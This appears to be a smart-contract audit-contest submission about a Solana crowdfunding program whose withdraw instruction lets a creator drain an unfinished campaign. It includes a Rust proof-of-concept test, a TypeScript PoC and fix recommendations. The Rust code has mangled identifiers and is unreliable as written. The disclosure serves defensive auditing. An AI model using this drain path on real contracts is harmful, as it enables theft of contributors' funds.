rustfund::withdraw pays the campaign creator Fund.amount_raised with no success-condition check. The instruction never reads Fund.goal, Fund.deadline, Fund.dealine_set, or Clock. Account constraints on FundWithdraw only require a mutable Fund PDA (seeds = [name, creator]) and has_one = creator.
A creator can therefore call withdraw on a still-open campaign that has not reached its goal and take every contributed lamport. Contributors cannot recover the funds: refund either is still gated the same way as an unfinished campaign, or transfers Contribution.amount, which contribute never increments and therefore stays 0.
fund_create writes the campaign goal once and initializes an open fund:
Fund.goal is set from the caller argument and is never read by any later instruction.
Fund.deadline defaults to 0.
Fund.dealine_set defaults to false and is only flipped by the optional set_deadline instruction.
Fund.amount_raised starts at 0.
contribute transfers SOL into the Fund PDA and increments amount_raised. Its only time check is:
When deadline == 0 (the default after fund_create), this comparison is a no-op for any realistic clock, so contributions are accepted indefinitely. contribute also never writes Contribution.amount, which remains 0 after account init.
withdraw then does:
amount = ctx.accounts.fund.amount_raised
debit that many lamports from the Fund PDA
credit the same amount to the creator
There is no predicate equivalent to “goal met AND deadline passed AND deadline was actually set.” Existing checks do not close the path:
FundWithdraw only constrains mut + PDA seeds [name, creator] + has_one = creator.
set_deadline is optional and is never invoked on this path.
refund’s clock gate likewise does not revert when deadline == 0, but even if it ran it would transfer Contribution.amount == 0.
The intended invariant is that withdraw is only enabled when the campaign succeeded (amount raised ≥ goal after a real deadline). After fund_create(goal = 1_000_000_000) → contribute(500_000_000) → withdraw, that predicate is false (deadline == 0, dealine_set == false, amount_raised < goal) and the instruction still succeeds.
Any user who opens a campaign can rug every contributor. No admin, oracle, or extra privilege is required. The three instructions can be packed in one transaction.
Creator C calls rustfund::fund_create(name = "camp", description = "d", goal = 1_000_000_000).
Fund PDA seeds = ["camp", C].
goal = 1_000_000_000, deadline = 0, dealine_set = false, amount_raised = 0.
Fund lamports = rent-exempt reserve R.
set_deadline is not called.
Contributor U (distinct from C) calls rustfund::contribute(amount = 500_000_000).
deadline == 0, so the contribute clock gate does nothing.
system_program::transfer moves 500_000_000 lamports from U to Fund.
amount_raised = 500_000_000 (still < goal).
Fund lamports = R + 500_000_000.
Contribution.amount stays 0.
Creator C calls rustfund::withdraw().
amount = amount_raised = 500_000_000.
Fund lamports decrease by 500_000_000.
C lamports increase by 500_000_000.
No check on goal, deadline, dealine_set, or Clock.
Post-state: creator has the contributed SOL; Fund retains only the rent reserve; contributors have no working refund (Contribution.amount == 0). Native SOL only; no clock wait.
Critical. Direct loss of all contributed SOL on any unfinished campaign.
The attacker is a regular campaign opener, not a protocol admin. Every contributor to that fund is fully rugged as soon as the creator calls withdraw. Remaining Fund lamports are only the original rent-exempt reserve. Concurrent refund cannot undo the payout.
Gate withdraw on an explicit success predicate and make refunds actually return contributed amounts:
Require a deadline to have been set (dealine_set == true) and to have passed (Clock.unix_timestamp > Fund.deadline).
Require amount_raised >= goal before any creator payout.
Transfer only the raised amount and leave the rent-exempt reserve; consider closing or locking the Fund afterward so withdraw cannot be replayed against later contributions.
Persist Contribution.amount in contribute and allow refund only when the campaign failed (deadline passed and amount_raised < goal), transferring the stored contribution rather than 0.
Treat goal as a live invariant: read it in both withdraw and refund. An unread goal cannot enforce a crowdfund.
diff --git a/POCWITHDRAWUNGATED.md b/POCWITHDRAWUNGATED.md
new file mode 100644
index 0000000..62a81a4
--- /dev/null
+++ b/POCWITHDRAWUNGATED.md
@@ -0,0 +1,49 @@
+# PoC: ungated rustfund::withdraw drains an unfinished campaign
+
+## Attacker model
+
+- Position: any user who opened a campaign (fund_create signer). This is a
regular creator, not a protocol admin.
+- Inputs the attacker controls: campaign name, description, goal, and
the withdraw instruction. They do not call set_deadline.
+- Victim: a distinct contributor U who deposits native SOL via contribute.
+- Privilege required: none beyond signing fund_create and withdraw.
No oracle, no Clock wait, no extra role.
+
+## Impact
+
+withdraw copies Fund.amount_raised and moves that many lamports to the
+creator. FundWithdraw only checks mut + PDA seeds [name, creator] +
+has_one = creator. It never reads goal, deadline, dealine_set, or
+Clock. After fund_create(goal = 1_000_000_000) → contribute(500_000_000)
+the campaign is still open and under goal, but withdraw pays the creator
+500_000_000 lamports and leaves only the rent reserve on the Fund PDA.
+
+refund cannot undo the theft: contribute never increments
+Contribution.amount (stays 0), so a later refund transfers 0.
+
+## Setup
+
+Requires a host cargo that can parse this repo's Cargo.lock (lockfile v4,
+Cargo 1.83+). No Solana validator, Anchor CLI, or BPF toolchain is needed:
+the PoC calls the production entry dispatcher in a native unit test.
+
+```bash
+# from repository root, commit b5dd7b0
+cargo test --manifest-path programs/rustfund/Cargo.toml --lib \
poccreatordrainsopenundergoalcampaign -- --nocapture
+```
+
+## Expected output
+
+```text
+=== rustfund withdraw-missing-success-predicate PoC ===
+Attacker: campaign creator C (regular user, not an admin).
+Victim: contributor U who deposited native SOL.
+pre-withdraw: fund.lamports=505000000 creator.lamports=1000000 amountraised=500000000 goal=1000000000 deadline=0 dealineset=false
+post-withdraw: fund.lamports=5000000 creator.lamports=501000000 (creator +500000000)
+invariant break: withdraw succeeded while deadline=0 dealineset=false amountraised 500000000 < goal 1000000000
+refund left contributor unchanged at 2000000 lamports (Contribution.amount=0)
+PoC confirmed: creator stole 500000000 lamports from an unfinished campaign.
+test pocwithdrawungated::poccreatordrainsopenundergoalcampaign ... ok
+```
diff --git a/programs/rustfund/src/lib.rs b/programs/rustfund/src/lib.rs
index ef1f2fa..dfe8190 100644
--- a/programs/rustfund/src/lib.rs
+++ b/programs/rustfund/src/lib.rs
@@ -192,6 +192,9 @@ pub struct Fund {
+#[cfg(test)]
+mod pocwithdrawungated;
+
#[error_code]
pub enum ErrorCode {
#[msg("Deadline already set")]
diff --git a/programs/rustfund/src/pocwithdrawungated.rs b/programs/rustfund/src/pocwithdrawungated.rs
new file mode 100644
index 0000000..f198e5d
--- /dev/null
+++ b/programs/rustfund/src/pocwithdrawungated.rs
@@ -0,0 +1,293 @@
+//! PoC: rustfund::withdraw pays the creator Fund.amount_raised with no
+//! goal / deadline / dealine_set / Clock check.
+//!
+//! Attacker model
+//! --------------
+//! The attacker is a regular campaign creator (any user who opened a fund).
+//! They only need to sign fund_create and withdraw. No admin, oracle,
+//! or extra privilege is required. Contributor U is a distinct user who
+//! deposits native SOL.
+//!
+//! Setup / run
+//! -----------
+//! From the repo root (after rustup + cargo are available):
+//!
+//! ```text
+//! cargo test --manifest-path programs/rustfund/Cargo.toml --lib \
+//! poccreatordrainsopenundergoalcampaign -- --nocapture
+//! ```
+//!
+//! This test invokes the production entry dispatcher (same path as the
+//! on-chain program) with the exact withdraw instruction accounts and
+//! sighash. Pre-state is the account layout that fund_create +
+//! contribute write: deadline == 0, dealine_set == false,
+//! amount_raised < goal.
+
+use super::*;
+use anchorlang::solanaprogram::{
account_info::AccountInfo,
clock::Epoch,
program_error::ProgramError,
pubkey::Pubkey,
system_program,
+};
+use anchor_lang::{AccountSerialize, InstructionData};
+
+const GOAL: u64 = 1000000_000;
+const CONTRIBUTED: u64 = 500000000;
+const FUND_NAME: &str = "camp";
+const FUND_DESC: &str = "d";
+/// Rent-exempt reserve left on the Fund PDA after a successful drain.
+const RENTRESERVE: u64 = 5000_000;
+
+fn serialize_fund(fund: &Fund) -> Vec<u8> {
let mut data = Vec::withcapacity(8 + Fund::INITSPACE);
fund.try_serialize(&mut data)
.expect("Fund must serialize with its 8-byte discriminator");
data.resize(8 + Fund::INIT_SPACE, 0);
data
+}
+
+fn serialize_contribution(contribution: &Contribution) -> Vec<u8> {
let mut data = Vec::withcapacity(8 + Contribution::INITSPACE);
contribution
.try_serialize(&mut data)
.expect("Contribution must serialize with its 8-byte discriminator");
data.resize(8 + Contribution::INIT_SPACE, 0);
data
+}
+
+/// Production on-chain state after:
+/// fundcreate(name="camp", description="d", goal=1000000000) as C
+/// contribute(amount=500000000) as U
+/// set_deadline is never called, so deadline stays 0 and the Clock
+/// gate in contribute is a no-op.
+fn openundergoal_fund(creator: Pubkey) -> Fund {
Fund {
name: FUNDNAME.tostring(),
description: FUNDDESC.tostring(),
goal: GOAL,
deadline: 0,
creator,
amount_raised: CONTRIBUTED,
dealine_set: false,
}
+}
+
+/// contribute initializes Contribution.amount = 0 and never increments it
+/// (lib.rs:37). Refund therefore transfers 0 even if it remains callable.
+fn leftover_contribution(contributor: Pubkey, fund: Pubkey) -> Contribution {
Contribution {
contributor,
fund,
amount: 0,
}
+}
+
+/// Invoke the production program entrypoint (sighash dispatch + account
+/// constraints + handler body).
+fn invoke_entry<'a>(
accounts: &'a [AccountInfo<'a>],
data: &[u8],
+) -> std::result::Result<(), ProgramError> {
crate::entry(&crate::ID, accounts, data)
+}
+
+fn lamports_of(account: &AccountInfo) -> u64 {
**account.lamports.borrow()
+}
+
+#[test]
+fn poccreatordrainsopenundergoalcampaign() {
println!("=== rustfund withdraw-missing-success-predicate PoC ===");
println!("Attacker: campaign creator C (regular user, not an admin).");
println!("Victim: contributor U who deposited native SOL.");
println!("Inputs C controls: fund name/description/goal, and the withdraw ix.");
+
let program_id = crate::ID;
let creator = Pubkey::new_unique();
let contributor = Pubkey::new_unique();
assert_ne!(creator, contributor, "C and U must be distinct");
+
let (fund*pda, *bump) =
Pubkey::findprogramaddress(&[FUNDNAME.asbytes(), creator.asref()], &programid);
+
let fundstate = openundergoalfund(creator);
asserteq!(fundstate.deadline, 0);
assert!(!fundstate.dealineset);
assert!(fundstate.amountraised < fund_state.goal);
+
let mut funddata = serializefund(&fund_state);
let mut fundlamports = RENTRESERVE + CONTRIBUTED;
let mut creatorlamports: u64 = 1000_000;
let mut creator_data: [u8; 0] = [];
let mut system_lamports: u64 = 1;
let mut system_data: [u8; 0] = [];
+
let fundkey = fundpda;
let creator_key = creator;
let systemkey = systemprogram::ID;
let system_owner = Pubkey::default();
+
let fund_ai = AccountInfo::new(
&fund_key,
false,
true,
&mut fund_lamports,
&mut fund_data,
&program_id,
false,
Epoch::default(),
);
let creator_ai = AccountInfo::new(
&creator_key,
true,
true,
&mut creator_lamports,
&mut creator_data,
&system_key,
false,
Epoch::default(),
);
let system_ai = AccountInfo::new(
&system_key,
false,
false,
&mut system_lamports,
&mut system_data,
&system_owner,
true,
Epoch::default(),
);
+
let creatorbefore = lamportsof(&creator_ai);
let fundbefore = lamportsof(&fund_ai);
println!(
"pre-withdraw: fund.lamports={} creator.lamports={} amountraised={} goal={} deadline={} dealineset={}",
fund_before,
creator_before,
fundstate.amountraised,
fund_state.goal,
fund_state.deadline,
fundstate.dealineset
);
+
// Production withdraw instruction: sighash("global:withdraw") + no args.
let ix_data = crate::instruction::Withdraw {}.data();
let accounts = [fundai.clone(), creatorai.clone(), system_ai.clone()];
+
invokeentry(&accounts, &ixdata)
.expect("withdraw must succeed: the handler has no success predicate");
+
let creatorafter = lamportsof(&creator_ai);
let fundafter = lamportsof(&fund_ai);
println!(
"post-withdraw: fund.lamports={} creator.lamports={} (creator +{})",
fund_after,
creator_after,
creatorafter - creatorbefore
);
+
// Impact: creator rugs the still-open, under-goal campaign.
assert_eq!(
creatorafter - creatorbefore,
CONTRIBUTED,
"creator must receive the full amount_raised"
);
assert_eq!(
fundbefore - fundafter,
CONTRIBUTED,
"Fund PDA must lose exactly amount_raised"
);
assert_eq!(
fundafter, RENTRESERVE,
"only the original rent reserve remains on the Fund PDA"
);
+
// Account data is not updated: goal/deadline/dealine_set still describe
// an unfinished campaign, so withdraw_enabled(F) remains false.
let drained = Fund::trydeserialize(&mut funddata.as_slice())
.expect("Fund account must still deserialize");
assert_eq!(drained.deadline, 0);
assert!(!drained.dealine_set);
assert!(drained.amount_raised < drained.goal);
asserteq!(drained.amountraised, CONTRIBUTED);
println!(
"invariant break: withdraw succeeded while deadline=0 dealineset=false amountraised {} < goal {}",
drained.amount_raised, drained.goal
);
+
// Concurrently, refund remains callable (deadline==0 short-circuits the
// Clock gate) but cannot undo the payout: Contribution.amount stays 0.
let (contribution*pda, *) =
Pubkey::findprogramaddress(&[fundpda.asref(), contributor.asref()], &programid);
let contribstate = leftovercontribution(contributor, fund_pda);
let mut contribdata = serializecontribution(&contrib_state);
let mut contriblamports: u64 = 1000_000;
let mut contributorlamports: u64 = 2000_000;
let mut contributor_data: [u8; 0] = [];
let contribkey = contributionpda;
let contributor_key = contributor;
+
let fundairefund = AccountInfo::new(
&fund_key,
false,
true,
&mut fund_lamports,
&mut fund_data,
&program_id,
false,
Epoch::default(),
);
let contrib_ai = AccountInfo::new(
&contrib_key,
false,
true,
&mut contrib_lamports,
&mut contrib_data,
&program_id,
false,
Epoch::default(),
);
let contributor_ai = AccountInfo::new(
&contributor_key,
true,
true,
&mut contributor_lamports,
&mut contributor_data,
&system_key,
false,
Epoch::default(),
);
let systemairefund = AccountInfo::new(
&system_key,
false,
false,
&mut system_lamports,
&mut system_data,
&system_owner,
true,
Epoch::default(),
);
+
let contributorbefore = lamportsof(&contributor_ai);
let refund_data = crate::instruction::Refund {}.data();
let refund_accounts = [
fundairefund,
contrib_ai,
contributor_ai.clone(),
systemairefund,
];
invokeentry(&refundaccounts, &refund_data)
.expect("refund is still callable when deadline==0");
let contributorafter = lamportsof(&contributor_ai);
assert_eq!(
contributorafter, contributorbefore,
"refund transfers Contribution.amount==0 and cannot undo the rug"
);
println!(
"refund left contributor unchanged at {} lamports (Contribution.amount=0)",
contributor_after
);
println!("PoC confirmed: creator stole {} lamports from an unfinished campaign.", CONTRIBUTED);
+}
## Description A Malicious creator can withdraw funds before the campaign's deadline. ## Vulnerability Details There is no check in withdraw if the campaign ended before the creator can withdraw funds. ```Rust pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { let amount = ctx.accounts.fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` ## Impact A Malicious creator can withdraw all the campaign funds before deadline which is against the intended logic of the program. ## Recommendations Add check for if campaign as reached deadline before a creator can withdraw ```Rust pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { //add this if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() { return Err(ErrorCode::DeadlineNotReached.into()); } //stops here let amount = ctx.accounts.fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` ## POC keep everything in `./tests/rustfund.rs` up on to `Contribute to fund` test, then add the below: ```TypeScript it("Creator withdraws funds when deadline is not reached", async () => { const creatorBalanceBefore = await provider.connection.getBalance(creator.publicKey); const fund = await program.account.fund.fetch(fundPDA); await new Promise(resolve => setTimeout(resolve, 150)); //default 15000 console.log("goal", fund.goal.toNumber()); console.log("fundBalance", await provider.connection.getBalance(fundPDA)); console.log("creatorBalanceBefore", await provider.connection.getBalance(creator.publicKey)); await program.methods .withdraw() .accounts({ fund: fundPDA, creator: creator.publicKey, systemProgram: anchor.web3.SystemProgram.programId, }) .rpc(); const creatorBalanceAfter = await provider.connection.getBalance(creator.publicKey); console.log("creatorBalanceAfter", creatorBalanceAfter); console.log("fundBalanceAfter", await provider.connection.getBalance(fundPDA)); }); ``` this outputs: ```Python goal 1000000000 fundBalance 537590960 creatorBalanceBefore 499999999460946370 creatorBalanceAfter 499999999960941400 fundBalanceAfter 37590960 ✔ Creator withdraws funds when deadline is not reached (398ms) ``` We can notice that the creator withdraws funds from the campaign before the deadline.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.